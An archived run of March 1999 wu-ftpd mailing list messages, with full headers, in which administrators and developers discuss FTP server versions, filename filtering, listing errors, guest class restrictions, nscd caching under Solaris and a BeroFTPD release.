Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA03230;
Tue, 2 Mar 1999 19:59:44 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA08640
for <[email protected]>; Tue, 2 Mar 1999 19:58:33 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id UAA00435;
Tue, 2 Mar 1999 20:58:17 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 20:58:16 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: wuftpd <[email protected]>
Cc: [email protected]
Subject: Re: Opie Looks Broken in VR15
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'll read through your suggestion. Actually, it's your comment about the
later strcmp failing which bothers me. While he's on the open mailing
list, I'll make sure my Linux/OPIE man knows about your email.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 3 04:11:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id EAA29159;
Wed, 3 Mar 1999 04:11:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id EAA23269;
Wed, 3 Mar 1999 04:06:21 -0600 (CST)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id DAA03067
for <[email protected]>; Wed, 3 Mar 1999 03:58:30 -0600 (CST)
Received: from ms.uab.ericsson.se (ms.uab.ericsson.se [134.138.44.44])
by penguin.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id KAA25875;
Wed, 3 Mar 1999 10:57:51 +0100 (MET)
Received: from uabs78c32.uab.ericsson.se (uabs78c32.uab.ericsson.se [134.138.201.82])
by ms.uab.ericsson.se (8.8.8/8.8.8/uab-1.34) with ESMTP id KAA25113;
Wed, 3 Mar 1999 10:57:55 +0100 (MET)
Received: from uab.ericsson.se by uabs78c32.uab.ericsson.se (8.8.8/client-1.3uab1)
id KAA16439; Wed, 3 Mar 1999 10:57:54 +0100 (MET)
Message-Id: <[email protected]>
Date: Wed, 03 Mar 1999 10:57:54 +0100
Reply-To: [email protected]
Sender: [email protected]
From: Johan Claesson <[email protected]>
To: [email protected]
Cc: Alex Yu <[email protected]>, [email protected]
Subject: Re: what's difference between vr15 and release 2.4.2?
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4m)
X-Accept-Language: sv, en-US
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gregory A Lundberg wrote:
>
> On Tue, 2 Mar 1999, Alex Yu wrote:
>
> > What's difference between vr15 and release 2.4.2?
>
> There is no release 2.4.2
>
> VR15 is a series of 12 upgrades from 2.4.2 (Beta 18). 2.4.2 (Beta 18) is
> a series of 18 upgrades from 2.4. 2.4 is the last 'officially released'
> version.
>

I may be completely wrong...
..but according to the contents of ftp.academ.com/pub/wu-ftpd, there is
a 2.4.2 release uploaded 26th Mars 1999?

/Johan

From [email protected] Wed Mar 3 05:12:33 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id FAA29742;
Wed, 3 Mar 1999 05:12:33 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id FAA23461;
Wed, 3 Mar 1999 05:09:12 -0600 (CST)
Received: from xo.hp.is ([email protected] [193.4.28.118])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id FAA22318
for <[email protected]>; Wed, 3 Mar 1999 05:04:35 -0600 (CST)
Received: (from ra@localhost)
by xo.hp.is (8.9.2.Beta3/RA-892) id LAA15736
for [email protected]; Wed, 3 Mar 1999 11:04:23 GMT
Message-Id: <[email protected]>
Date: Wed, 3 Mar 1999 11:04:23 +0000
Reply-To: [email protected]
Sender: [email protected]
From: Richard Allen <[email protected]>
To: [email protected]
Subject: Strange filenames...
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.93.2i
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Is there any way to get wu-ftpd (beta 18) to allow spaces and other
wierd characters Crappy M$ OS-lookalikes allow in filenames during an
upload ?

Currently uploading "My presentation.ppt" gives a permission denyed error.

When explaining to users that some characters shouldnt be used in filenames
I often get "Ahh.. you're running Unix" in a sympothetic voice :)

--
Rikki. -- HP Technical Support.
Bell Labs Unix -- Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.
"One World, One Web, One Program" - Microsoft Promotional Ad
"Ein Volk, Ein Reich, Ein Fuhrer" - Adolf Hitler

From [email protected] Wed Mar 3 07:09:11 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA01425;
Wed, 3 Mar 1999 07:09:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA26525;
Wed, 3 Mar 1999 07:05:53 -0600 (CST)
Received: from mail-atm.nycap.rr.com ([email protected] [24.92.32.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA09353
for <[email protected]>; Wed, 3 Mar 1999 07:00:19 -0600 (CST)
Received: from yua2.nycap.rr.com (cisco-56-184.nycap.rr.com [24.92.56.184])
by mail-atm.nycap.rr.com (8.9.1/8.9.1) with SMTP id IAA01235;
Wed, 3 Mar 1999 08:00:02 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 03 Mar 1999 08:01:55 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Alex Yu <[email protected]>
To: [email protected], [email protected]
Subject: Re: Strange filenames...
In-Reply-To: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 11:04 AM 1999/3/3 +0000, Richard Allen wrote:

>wierd characters Crappy M$ OS-lookalikes allow in filenames during an
>Currently uploading "My presentation.ppt" gives a permission denyed error.

I have no problem with long file names. I can upload Microsoft and Mac
long file names styles.

Best Regards,

Alex Yu
PGP Fingerprint: 1F23 3045 9F92 E856 3967 ACB3 5354 2CC0 7AA7 19FA

"What should you do when you see an
endangered animal that is eating an endangered
plant?"
-- George Carlin

From [email protected] Wed Mar 3 07:42:00 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA01836;
Wed, 3 Mar 1999 07:41:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA04503;
Wed, 3 Mar 1999 07:38:43 -0600 (CST)
Received: from mserver.fh-koblenz.de (mserver.fh-koblenz.de [143.93.144.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA04358
for <[email protected]>; Wed, 3 Mar 1999 07:36:08 -0600 (CST)
Received: (from mschmidt@localhost)
by mserver.fh-koblenz.de (8.8.8/8.8.8-ms) id OAA15454;
Wed, 3 Mar 1999 14:35:46 +0100 (MET)
Message-Id: <[email protected]>
Date: Wed, 3 Mar 1999 14:35:45 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Michael Schmidt <[email protected]>
To: [email protected]
Cc: [email protected] (Michael Schmidt)
Subject: Followed ls and dir advice, but still problem in beta18vr14
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

we are running an HPUX-10.20 machine.

Yes I have looked into the FAQ
and placed ls in ~ftp/bin and regarding stuff in ~ftp/usr
and undefined HPUX_10_TRUSTED in config.hpx.

In the past we have been running beta15,
today I upgraded to beta18vr14 and installed it and
did let the rest of structure of ~ftp and the ftpd stuff
directory the same as before,

But now ftp clients doing a ls and dir get the error message
"421 Service not available, remote server has closed connection"

What's wrong there?
Or which point am I missing?

If possible I need urgent help this afternoon German time.

Thanks in advance
Michael

--
Michael Schmidt
[email protected]
Mirror of: SAMBA:
IPFilter, Ghostscript Server for Win95,
Linux-HOWTO WinNT, LANManager

From [email protected] Wed Mar 3 08:55:05 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA02975;
Wed, 3 Mar 1999 08:55:04 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA15402;
Wed, 3 Mar 1999 08:50:32 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA13288
for <[email protected]>; Wed, 3 Mar 1999 08:44:23 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id JAA06299;
Wed, 3 Mar 1999 09:43:33 -0500
Message-Id: <[email protected]>
Date: Wed, 3 Mar 1999 09:43:33 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Richard Allen <[email protected]>
Cc: [email protected]
Subject: Re: Strange filenames...
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 3 Mar 1999, Richard Allen wrote:

> Is there any way to get wu-ftpd (beta 18) to allow spaces and other
> wierd characters Crappy M$ OS-lookalikes allow in filenames during an
> upload ?
>
> Currently uploading "My presentation.ppt" gives a permission denyed
> error.
>
> When explaining to users that some characters shouldnt be used in
> filenames I often get "Ahh.. you're running Unix" in a sympothetic
> voice :)

Long filenames shouldn't be a problem.

Spaces in filenames, however, are not allowed by the pathfilter in most
ftpaccess files. The daemon's syntax for pathfilter makes it impossible
to specify spaces on the line.

There's a workarround in the VR version which will work if you're running
Linux.

Non-Linux systems should be able to get it to work if they install the GNU
regex package. If you get it working on a non-Linux system, I'd be
interested in instructions/patches to share your results with others.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 3 08:58:00 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA03047;
Wed, 3 Mar 1999 08:57:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA00422;
Wed, 3 Mar 1999 08:54:20 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA29957
for <[email protected]>; Wed, 3 Mar 1999 08:47:14 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id JAA06342;
Wed, 3 Mar 1999 09:46:30 -0500
Message-Id: <[email protected]>
Date: Wed, 3 Mar 1999 09:46:30 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Michael Schmidt <[email protected]>
Cc: [email protected]
Subject: Re: Followed ls and dir advice, but still problem in beta18vr14
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 3 Mar 1999, Michael Schmidt wrote:

> we are running an HPUX-10.20 machine.
>
> In the past we have been running beta15, today I upgraded to
> beta18vr14 and installed it and did let the rest of structure of ~ftp
> and the ftpd stuff directory the same as before,
>
> But now ftp clients doing a ls and dir get the error message
> "421 Service not available, remote server has closed connection"

Try VR15. It should have this fixed. It's an endian/sizeof problem and
not related to ls/dir.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 3 11:48:21 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA05989;
Wed, 3 Mar 1999 11:48:20 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA14620;
Wed, 3 Mar 1999 11:44:55 -0600 (CST)
Received: from rmx07.globecomm.net (rmx07.iname.net [165.251.8.75])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA31313
for <[email protected]>; Wed, 3 Mar 1999 11:40:14 -0600 (CST)
Received: from weba2.iname.net by rmx07.globecomm.net (8.9.1/8.8.0) with ESMTP id MAA15165 ; Wed, 3 Mar 1999 12:40:13 -0500 (EST)
Received: (from root@localhost)
by weba2.iname.net (8.9.1a/8.9.2.Alpha2) id MAA05442;
Wed, 3 Mar 1999 12:40:13 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 3 Mar 1999 12:40:13 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: RE: Class restrictions
MIME-Version: 1.0
Content-Type: Text/Plain
Content-Transfer-Encoding: 7bit
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gregory A Lundberg [SMTP:[email protected]]:
> Thinking more on the problem, reordering may not help. Try this:
>
> The default for guest users is 'yes', form a class= for the 'no' and let
> the default case handle the 'yes'. The code really is too simplistic.

Your support is unbelievable!! I want to thanks your big effort in the wuftpd developement, maintenance and support.

I tried several configurations more, and the class restriction option seems a little erratic. The problem appears when there are a rejection by type (ie. guest) and an approval by class (ie class=myguest). I got a valid configuration establishing both rules by class (with different classes).

Best regards,

David Jorrin.
= = =

David Jorrin <[email protected]>>

----------------------------------------------------------------
Get your free email from AltaVista at http://altavista.iname.com

From [email protected] Wed Mar 3 12:08:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA06283;
Wed, 3 Mar 1999 12:08:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA13123;
Wed, 3 Mar 1999 12:04:22 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA15945
for <[email protected]>; Wed, 3 Mar 1999 12:03:13 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id NAA07960;
Wed, 3 Mar 1999 13:02:15 -0500
Message-Id: <[email protected]>
Date: Wed, 3 Mar 1999 13:02:15 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: RE: Class restrictions
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Wed, 3 Mar 1999 [email protected] wrote:

> > The default for guest users is 'yes', form a class= for the 'no' and let
> > the default case handle the 'yes'. The code really is too simplistic.
>
> Your support is unbelievable!! I want to thanks your big effort in the
> wuftpd developement, maintenance and support.
>
> I tried several configurations more, and the class restriction option
> seems a little erratic. The problem appears when there are a rejection
> by type (ie. guest) and an approval by class (ie class=myguest). I got
> a valid configuration establishing both rules by class (with different
> classes).

Like I said, the code handling it is way too simplistic. I'll rewrite it
to be more 'as expected' .. got a couple other things to do first.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 3 14:24:50 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA08492;
Wed, 3 Mar 1999 14:24:49 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA26278;
Wed, 3 Mar 1999 14:21:09 -0600 (CST)
Received: from www.aachen.linux.de ([email protected] [198.22.51.242])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA26298
for <[email protected]>; Wed, 3 Mar 1999 14:14:31 -0600 (CST)
Received: from microsoft.sucks.eu.org (ppp-078.in-trier.de [198.22.51.78])
by www.aachen.linux.de (Postfix) with SMTP
id 4C40BD0B0; Wed, 3 Mar 1999 22:26:19 +0100 (CET)
Message-Id: <Pine.LNX.4.10.9903031946490.1977-100000@k6.microsoft.sucks.eu.org>
Date: Wed, 3 Mar 1999 19:56:03 +0100 (CET)
Reply-To: [email protected]
Sender: [email protected]
From: Bernhard Rosenkraenzer <[email protected]>
To: Don Badrak <[email protected]>
Cc: [email protected]
Subject: Re: onnet ftp client problem with beroftpd 1.3.3
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 2 Mar 1999, Don Badrak wrote:

> First time through I built it with the --enable-internal-ls and
> --enable-paranoid. This caused *me* problems with NcFTP, which no longer
> would do filename completion or multiple recursive gets (mget -R).
>
> I tracked that down to NcFTP sending a LIST -d command.

True - LIST -d and -p are currently not implemented in the internal ls;
this will change some time soon.

> OnNet uses "LIST -lL". I've been able to track down as far in the
> BeroFTPD code that it is assuming whatever is after the space is a file,

Not quite.
If you're using the internal ls,
LIST something
results in a call to ls(something,0), where "filenames" beginning with a
"-" are recognized. Currently, the options -l, -a and -R are supported,
all other options (such as -L) are silently ignored.
This shouldn't hurt anything (OnNet probably can't determine the size of
symlinks if -L is ignored, but that's all).

If you aren't using the internal ls, BeroFTPD calls the external ls
command, passing the "filename" (including options) as options, which is
exactly the same thing base wu-ftpd does.
Did you make any changes to the external ls command in the directory
structure?

Where can I download OnNet to run some tests myself? (I hope it runs in
wine - I don't have windoze.)

LLaP
bero

--
Windows 98 supports real multitasking - it can boot and crash simultaneously.
***
Anyone sending unwanted advertising e-mail to this address will be charged
$25 for network traffic and computing time. By extracting my address from
this message or its header, you agree to these terms.

From [email protected] Wed Mar 3 14:30:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA08632;
Wed, 3 Mar 1999 14:30:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA23101;
Wed, 3 Mar 1999 14:27:30 -0600 (CST)
Received: from mail1.dh.trw.com (mail1.dh.trw.com [129.193.109.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA00512
for <[email protected]>; Wed, 3 Mar 1999 14:23:14 -0600 (CST)
Received: from trw.com ([129.4.74.179]) by mail1.dh.trw.com
(Netscape Messaging Server 3.5) with ESMTP id AAA382
for <[email protected]>; Wed, 3 Mar 1999 12:22:34 -0800
Message-Id: <[email protected]>
Date: Wed, 03 Mar 1999 12:22:33 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Scott Parmenter" <[email protected]>
To: wuftplist <[email protected]>
Subject: Using local passwd files under Solaris
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.04 [en] (Win95; U)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

Under Trusted Solaris 2.X (which is derived from Solaris 2.X) I had been
unable to get wu-ftpd to get the correct passwd entries after a user had
been chrooted, even though my file structure layout was correct. It
turns out that nscd (name service cache daemon) was causing me
problems. There is a delay factor called positive-time-to-live which
determines how long successful hits stay in the cache. The default is
10 minutes. So, when a guest user logged in, for the next 10 minutes,
all passwd inquiries were being directed to the cached entry. This
caused problems when the ftp server tried to chdir() to the user's home
directory after the chroot() had been performed.

To solve this, I added the line
enable-cache passwd no
to /etc/nscd.conf and commented out all other references to passwd
caching. Next I issued "nscd -f /etc/nscd.conf" (as root) to tell nscd
to update its configuration followed by "nscd -g" to verify the change
in policy. After this, my guest logins were successful with VR15 using
the guest-root/restricted-uid combination. (Which is really cool, by the
way! :-)

Hope this helps,
Scott

From [email protected] Wed Mar 3 14:38:18 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA08760;
Wed, 3 Mar 1999 14:38:17 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA05351;
Wed, 3 Mar 1999 14:33:58 -0600 (CST)
Received: from harlech.london.sco.com (harlech.london.sco.com [150.126.1.62])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA17775
for <[email protected]>; Wed, 3 Mar 1999 14:27:41 -0600 (CST)
Received: from tyne.sco.com (tyne.london.sco.COM [150.126.1.103]) by harlech.london.sco.com (8.8.5/SCO5) with SMTP id UAA06077; Wed, 3 Mar 1999 20:24:57 GMT
Message-Id: <[email protected]>
Date: Wed, 3 Mar 99 20:24:35 GMT
Reply-To: [email protected]
Sender: [email protected]
From: [email protected] (Ian Willis)
To: [email protected], [email protected]
Cc: [email protected]
Subject: Re: Strange filenames...
X-Mailer: SCO OpenServer Mail Release 5.0
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Any system that supports X/Open Regular Expressions should allow the
[:space:] character class expression to be used instead of a space
in the path-filter line.

If your system does support character class expressions then this test
should produce output:
echo "File name1-._z" | grep "^[[:alnum:][:space:]._-]*$"

Ian Willis
SCO Internet Engineering Group, Watford, England

| From: Gregory A Lundberg <[email protected]>
| Date: Wed, 3 Mar 1999 09:43:33 -0500 (EST)
| To: Richard Allen <[email protected]>
| Cc: [email protected]
| Subject: Re: Strange filenames...
|
| On Wed, 3 Mar 1999, Richard Allen wrote:
|
| > Is there any way to get wu-ftpd (beta 18) to allow spaces and other
| > wierd characters Crappy M$ OS-lookalikes allow in filenames during an
| > upload ?
| >
| > Currently uploading "My presentation.ppt" gives a permission denyed
| > error.
| >
| > When explaining to users that some characters shouldnt be used in
| > filenames I often get "Ahh.. you're running Unix" in a sympothetic
| > voice :)
|
| Long filenames shouldn't be a problem.
|
| Spaces in filenames, however, are not allowed by the pathfilter in most
| ftpaccess files. The daemon's syntax for pathfilter makes it impossible
| to specify spaces on the line.
|
| There's a workarround in the VR version which will work if you're running
| Linux.
|
| Non-Linux systems should be able to get it to work if they install the GNU
| regex package. If you get it working on a non-Linux system, I'd be
| interested in instructions/patches to share your results with others.
|
| --
|
| Gregory A Lundberg Senior Partner, VRnet Company
| 1441 Elmdale Drive [email protected]
| Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Wed Mar 3 14:51:25 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA09032;
Wed, 3 Mar 1999 14:51:24 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA13727;
Wed, 3 Mar 1999 14:46:46 -0600 (CST)
Received: from www.aachen.linux.de ([email protected] [198.22.51.242])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA03449
for <[email protected]>; Wed, 3 Mar 1999 14:40:34 -0600 (CST)
Received: from microsoft.sucks.eu.org (ppp-078.in-trier.de [198.22.51.78])
by www.aachen.linux.de (Postfix) with SMTP
id 9EA4FD092; Wed, 3 Mar 1999 22:52:21 +0100 (CET)
Message-Id: <Pine.LNX.4.10.9903032121350.23525-100000@k6.microsoft.sucks.eu.org>
Date: Wed, 3 Mar 1999 21:40:33 +0100 (CET)
Reply-To: [email protected]
Sender: [email protected]
From: Bernhard Rosenkraenzer <[email protected]>
To: [email protected], [email protected],
[email protected], [email protected]
Cc: [email protected]
Subject: BeroFTPD 1.3.4 released
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I've just released BeroFTPD 1.3.4.
Changes:
+ internal ls supports -F, allowing ncftp 2.4.x-style directory completion
+ permit using PAM and s/key at the same time ([email protected])
* compilation fixes on some systems
* Fix real user login problem with --enable-passwd on *BSD
* quota fixes

Download locations:
ftp://ftp.bero.x5.net/pub/ <--- new main location
http://www.berolinux.za.net/BeroFTPD <--- new
ftp://beroftpd.unix.eu.org/pub/BeroFTPD/
ftp://ftp.croftj.net/usr/bero/BeroFTPD/
ftp://ftp.sunet.se/pub/nir/ftp/servers/BeroFTPD/
ftp://sunsite.cnlab-switch.ch/mirror/BeroFTPD/

LLaP
bero

--
Windows 98 supports real multitasking - it can boot and crash simultaneously.
***
Anyone sending unwanted advertising e-mail to this address will be charged
$25 for network traffic and computing time. By extracting my address from
this message or its header, you agree to these terms.

From [email protected] Wed Mar 3 15:03:51 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA09179;
Wed, 3 Mar 1999 15:03:50 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA10808;
Wed, 3 Mar 1999 14:59:51 -0600 (CST)
Received: from info.census.gov (info.census.gov [148.129.129.10])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA27791
for <[email protected]>; Wed, 3 Mar 1999 14:54:46 -0600 (CST)
Received: from localhost (dbadrak@localhost)
by info.census.gov (8.8.8/8.8.8) with SMTP id PAA29842;
Wed, 3 Mar 1999 15:54:31 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 3 Mar 1999 15:54:30 -0500 (EST)
Reply-To: Don Badrak <[email protected]>
Sender: [email protected]
From: Don Badrak <[email protected]>
To: Bernhard Rosenkraenzer <[email protected]>
Cc: [email protected]
Subject: Re: onnet ftp client problem with beroftpd 1.3.3
In-Reply-To: <Pine.LNX.4.10.9903031946490.1977-100000@k6.microsoft.sucks.eu.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Bernhard,

On Wed, 3 Mar 1999, Bernhard Rosenkraenzer wrote:

> On Tue, 2 Mar 1999, Don Badrak wrote:
>
> > First time through I built it with the --enable-internal-ls and
> > --enable-paranoid. This caused *me* problems with NcFTP, which no longer
> > would do filename completion or multiple recursive gets (mget -R).
> >
> > I tracked that down to NcFTP sending a LIST -d command.
>
> True - LIST -d and -p are currently not implemented in the internal ls;
> this will change some time soon.

I guess I could just make the -d work and be done with it and use
the internal ls.

> > OnNet uses "LIST -lL". I've been able to track down as far in the
> > BeroFTPD code that it is assuming whatever is after the space is a file,
>
> Not quite.
> If you're using the internal ls,
> LIST something
> results in a call to ls(something,0), where "filenames" beginning with a
> "-" are recognized. Currently, the options -l, -a and -R are supported,
> all other options (such as -L) are silently ignored.
> This shouldn't hurt anything (OnNet probably can't determine the size of
> symlinks if -L is ignored, but that's all).
>
> If you aren't using the internal ls, BeroFTPD calls the external ls
> command, passing the "filename" (including options) as options, which is
> exactly the same thing base wu-ftpd does.
> Did you make any changes to the external ls command in the directory
> structure?

Nope, same stuff, no changes. Both the /bin/ls (solaris, irix) and GNU
ls handle the -lL just fine. While watching output from par
(irix equivalent of truss), I saw this:

20474mS : END-read(0, "LIST -lL\r\n", 4096) = 10
20474mS : alarm(0) = 899
20474mS : time() = 920407755
20474mS : getpid() = 562696, ppid=220
20474mS : write(3, "<30>Mar 2 20:49:15 ftpd[56269", 42) = 42
20474mS : time() = 920407755
20474mS : getuid() = 0, euid=5000
20474mS : setreuid(-1, 0) OK
20474mS : open(".", O_RDONLY, 02001624260) = 8
20474mS : setreuid(-1, 5000) OK
20474mS : setreuid(-1, 0) OK
20474mS : lstat("-lL", 0x7fff01d8) errno = 2 (No such file or directory)

I don't know if this has anything to do with it.

Shoot. I thought I described what the result was when using external-ls with
OnNet's client. You see the home directory name. You see all the folders under
that directory, but no filenames (all blank). The filename box (top box is
directories, bottom is filenames) is also all blank, even though there are plenty
of files there.

I'm thinking that the server may be sending the data back to the client with some
extraneous info and the client doesn't like it.

> Where can I download OnNet to run some tests myself? (I hope it runs in
> wine - I don't have windoze.)

Ooh, I don't know. We have it on some PCs here. You might be able to get
an evaulation from http://www.netmanage.com/products/onnethost/. However,
I don't know if it will run under wine.

Don
---
Don Badrak <[email protected]> 301.457.8263 work
Telecommunications Office 301.457.4438 fax
U.S. Bureau of the Census
Suitland MD, USA

From [email protected] Wed Mar 3 15:36:42 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id PAA09777;
